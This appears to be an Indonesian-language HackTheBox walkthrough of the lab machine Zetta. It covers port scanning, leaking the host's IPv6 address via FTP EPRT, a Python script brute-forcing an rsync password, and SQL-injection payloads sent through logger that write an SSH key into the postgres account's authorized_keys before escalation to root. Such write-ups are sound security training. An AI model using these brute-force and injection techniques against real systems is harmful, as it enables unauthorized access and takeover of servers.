Saya terus menerbitkan solusi yang dikirim untuk diproses lebih lanjut dari situs HackTheBox . Saya berharap ini akan membantu setidaknya seseorang untuk berkembang di bidang keamanan informasi. Pada artikel ini, kita mempelajari alamat server IPv6 menggunakan FXP, bekerja dengan rsync, dan juga menulis kunci ssh menggunakan injeksi SQL saat memproses log di Postgres.Koneksi ke laboratorium adalah melalui VPN. Dianjurkan untuk tidak terhubung dari komputer kerja atau dari host di mana data penting bagi Anda tersedia, karena Anda masuk ke jaringan pribadi dengan orang-orang yang mengetahui sesuatu di bidang keamanan informasi :)Informasi Organisasi, - , :
- PWN;
- (Crypto);
- c (Network);
- (Reverse Engineering);
- (Stegano);
- WEB-.
, , , .
, ,
Telegram . , ,
.
. , - , .
Recon
Mesin ini memiliki alamat IP 10.10.10.156, yang saya tambahkan ke / etc / hosts.10.10.10.156 zetta.htb
Pertama, kami memindai port terbuka. Karena butuh waktu lama untuk memindai semua port dengan nmap, saya akan melakukan ini dengan masscan. Kami memindai semua port TCP dan UDP dari antarmuka tun0 dengan kecepatan 500 paket per detik.masscan -e tun0 -p1-65535,U:1-65535 10.10.10.156 --rate=500
Selanjutnya, Anda perlu mengumpulkan lebih banyak informasi tentang port yang dikenal. Untuk melakukan ini, gunakan nmap dengan opsi -A.nmap -A zetta.htb -p21,22,80
Lihatlah apa yang ada di ftp.
Hasilnya, spanduk mengatakan bahwa kita dapat terhubung melalui IPv6. Mari kita lihat apa yang ada di server web.
Kami mengamati Native FTP dengan dukungan untuk FXP. FXP adalah cara mentransfer file antara dua server FTP secara langsung, tanpa mengunduhnya ke komputer Anda. Selama sesi FXP, klien membuka dua koneksi FTP ke dua server yang berbeda, meminta file pada server pertama, menunjukkan alamat IP dari server kedua dalam perintah PORT.
Menggulir sedikit, kami menemukan nama pengguna dan kata sandi untuk FTP. Dan setelah memasukkan kredensial, kami diberitahu bahwa ada dukungan untuk FXP.
Tapi entah tidak ada file di server, atau tidak diberikan kepada kami. Tetapi karena server ini mendukung FXP, kita dapat berpura-pura menjadi server lain, server target memulai koneksi. Dengan demikian, kami akan mengungkapkan alamat IPv6nya sesuai dengan RFC 2428.
Ini diperlukan untuk pemindaian lebih lanjut, karena tuan rumah mungkin memiliki layanan yang hanya menerima koneksi IPv6. Jadi kita perlu tahu alamat kita.
Menggunakan tcpdump, kami akan melacak lalu lintas yang menuju ke port 4321.
Dan menggunakan netcat kami terhubung ke ftp dan tentukan kredensial.nc zetta.htb 21
Dan sekarang kami mengirim permintaan EPRT.
Dan kami mengamati alamat IPv6 dari host target.
Sekarang tuliskan ke / etc / hosts sebagai ganti IPv4 dan pindai semua port menggunakan nmap, tambahkan opsi -6.nmap -6 zetta.htb -p-
Sekarang kami mendapatkan informasi lebih lanjut menggunakan opsi -A.nmap -A -6 zetta.htb -p21,22,80,8730

Titik masuk
Rsync (sinkronisasi jarak jauh) adalah program untuk sistem mirip UNIX yang menyinkronkan file dan direktori di dua tempat sambil meminimalkan lalu lintas. Rsync dapat menyalin atau menampilkan isi direktori dan menyalin file, secara opsional menggunakan kompresi dan rekursi. rsync hanya mentransfer perubahan file, yang memengaruhi kinerja program. Mari kita lihat daftar modul.rsync -6 --list-only rsync://zetta.htb:8730/
Beberapa direktori penting tidak ada dalam daftar ini. Tetapi direktori dll tersedia.rsync -6 -av rsync://zetta.htb:8730/etc/rsync*
Kami membaca rsyncd.conf, untuk file ini di komputer lokal.rsync -6 -a rsync://zetta.htb:8730/etc/rsyncd.conf .
Ada modul tersembunyi di config - home_roy, yang mengarah ke roy direktori home pengguna, dan itu dilindungi kata sandi dari rsyncd.secrets, tetapi tidak tersedia bagi kami.rsync -6 rsync://zetta.htb:8730/home_roy/

PENGGUNA
Ketika tidak ada lagi ide, saya harus memilah kata sandi. Untuk ini, kode Python ditulis dan daftar kata sandi dari Seclists digunakan.
def clear():
sys.stdout.write("\033[F")
sys.stdout.write("\033[K")
from pwn import *
with open("/usr/share/seclists/Passwords/Common-Credentials/500-worst-passwords.txt", "r") as f:
passwords = f.read().split('\n')
for password in passwords:
s = process(["rsync", "-6", "rsync://roy@zetta.htb:8730/home_roy"], env={"RSYNC_PASSWORD":password})
clear()
clear()
print(("password: " + password).ljust(30, " "), end="\r\r")
s.recvuntil("\"Cloud sync\".\n\n\n")
if b"@ERROR:" not in s.recv():
print("found!!!")
break
s.close()
clear()
Sekarang kita tahu kata sandinya, mari buat kunci ssh dan unggah ke server.

Dan menghubungkan melalui SSH dengan kunci ini, kami mengambil token pengguna.
AKAR
Di sebelah token terdapat petunjuk - daftar tugas.
Mari kita buka.todo .tudu.xml
Mari kita lihat semua tugas yang direncanakan. Server menggunakan git.
Dalam hal ini, log peristiwa disimpan dalam database.
Dan juga berencana untuk mengubah kata sandi, yang saat ini terlihat seperti jenis tertentu.
Hal pertama yang kita lakukan adalah pergi ke git, karena di sana kita dapat melihat sejarah perubahan konfigurasi. Temukan semua direktori .git di server.
Kami paling tertarik dengan jurnal rsyslog, jadi saya menyalin seluruh repositori ke mesin lokal.
Sekarang kita pergi ke direktori dengan repositori dimuat dan menggunakan gitk (antarmuka grafis agak mudah, tetapi nyaman).
Kami melihat kredensial, tetapi jika kami menggunakannya, kami gagal. Juga di repositori, Anda bisa melihat templat yang sesuai dengan log yang diletakkan dalam database. Log disimpan di /var/log/postgresql/postgresql-11-main.log, yang dapat diakses oleh grup admin yang menjadi anggota kami.
Karena kita berurusan dengan basis data, Anda dapat mencoba injeksi. Kami akan membuat acara untuk merekam menggunakan logger, secara bersamaan melacak secara real time apa yang masuk ke log (untuk kenyamanan, Anda dapat menggunakan qterminal dengan jendela terpisah) menggunakan arloji.watch -n 1 cat postgresql-11-main.log
Dan kirim acara.logger -p local7.info "'"
Dan terjadi kesalahan yang menunjukkan kemungkinan injeksi. Melihat / etc / passwd, kami mengetahui bahwa pengguna layanan postgres memiliki / bin / bash shell.
Dengan demikian, kita dapat masuk melalui ssh. Ini akan memberi kita akses ke file postgres, termasuk riwayat perintah. Mari kita periksa apakah kita dapat menulis file menggunakan injeksi.logger -p local7.info "qwerty',\$\$2020-02-02\$\$);DROP TABLE if exists ralf;CREATE TABLE ralf(t TEXT);INSERT INTO ralf(t) VALUES(\$\$RALF\$\$);SELECT * FROM ralf;COPY ralf(t) TO \$\$/tmp/ralf\$\$;-- -"
Baik. Kami akan membuat kunci ssh dan menulis kunci publik ke server di direktori home pengguna layanan postgres: /var/lib/postgresql/.ssh/authorized_keys.
logger -p local7.info -s "qwerty',\$\$2020-02-02\$\$);DROP TABLE if exists ralf;CREATE TABLE ralf(t TEXT);INSERT INTO ralf(t) VALUES(\$\$ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRC9/M7mhpZ/0Rs/HyPIC58k3qDu3xRVmMgt/gky8VCpH49WVkkLpW0tFNL1Z7d/NN8efres0+aG7VJXop20P4uO7BT4ikK8ccDzXKHlSVPweevKu8AAVqu98mKxXJBNI/uQ1giv+zwS23hbe5DQTGldeOSPzClxal8sj99kqCk1aN8Cs7I6+vBcOkHoMVKB8dR9Hu0ZwvLzvWDnnBR1txmjrNDPt25I+2gNc3JYvqIS2QIV2DSdh5UoFKVzA27Mav3A0yL6zJjUynnluAa27HMsKdvrfA0Q5zIY3F/snHCl4X/wxZh4o9bnfxUFt6OC0sLxk5ro1Vw6EjgACZj+aFoFXBMgX59YpUVtXbXvN/ACMkIyLh/f7CvqWDD9sppZtcBKVYB1jzlqIG5ekgv55aCrTeX9CuS9YbZrrjZC2Dos7YTOwD9TBItlR8VcU0JcR1GiS+GHZv0Rm9pizHchOiPocWqdryoGqfTfCav4AvrhDHtzk4P/C1fa3flwb3NxE= root@Ralf-PC\$\$);SELECT * FROM ralf;COPY ralf(t) TO \$\$/var/lib/postgresql/.ssh/authorized_keys\$\$;-- -"
Sekarang mari kita membahas ssh.ssh -i psg_id_rsa postgres@zetta.htb
Kami melihat sejarah postgres.
Dan kami menemukan kata sandinya. Kami mengingat aturan kata sandi dari daftar yang harus dilakukan, mengganti pengguna dengan root, dan masuk.
Kami dengan hak penuh!Anda dapat bergabung dengan kami di Telegram . Mari kita mengumpulkan komunitas di mana akan ada orang-orang yang berpengalaman dalam banyak bidang TI, maka kita selalu dapat saling membantu dalam masalah TI dan keamanan informasi.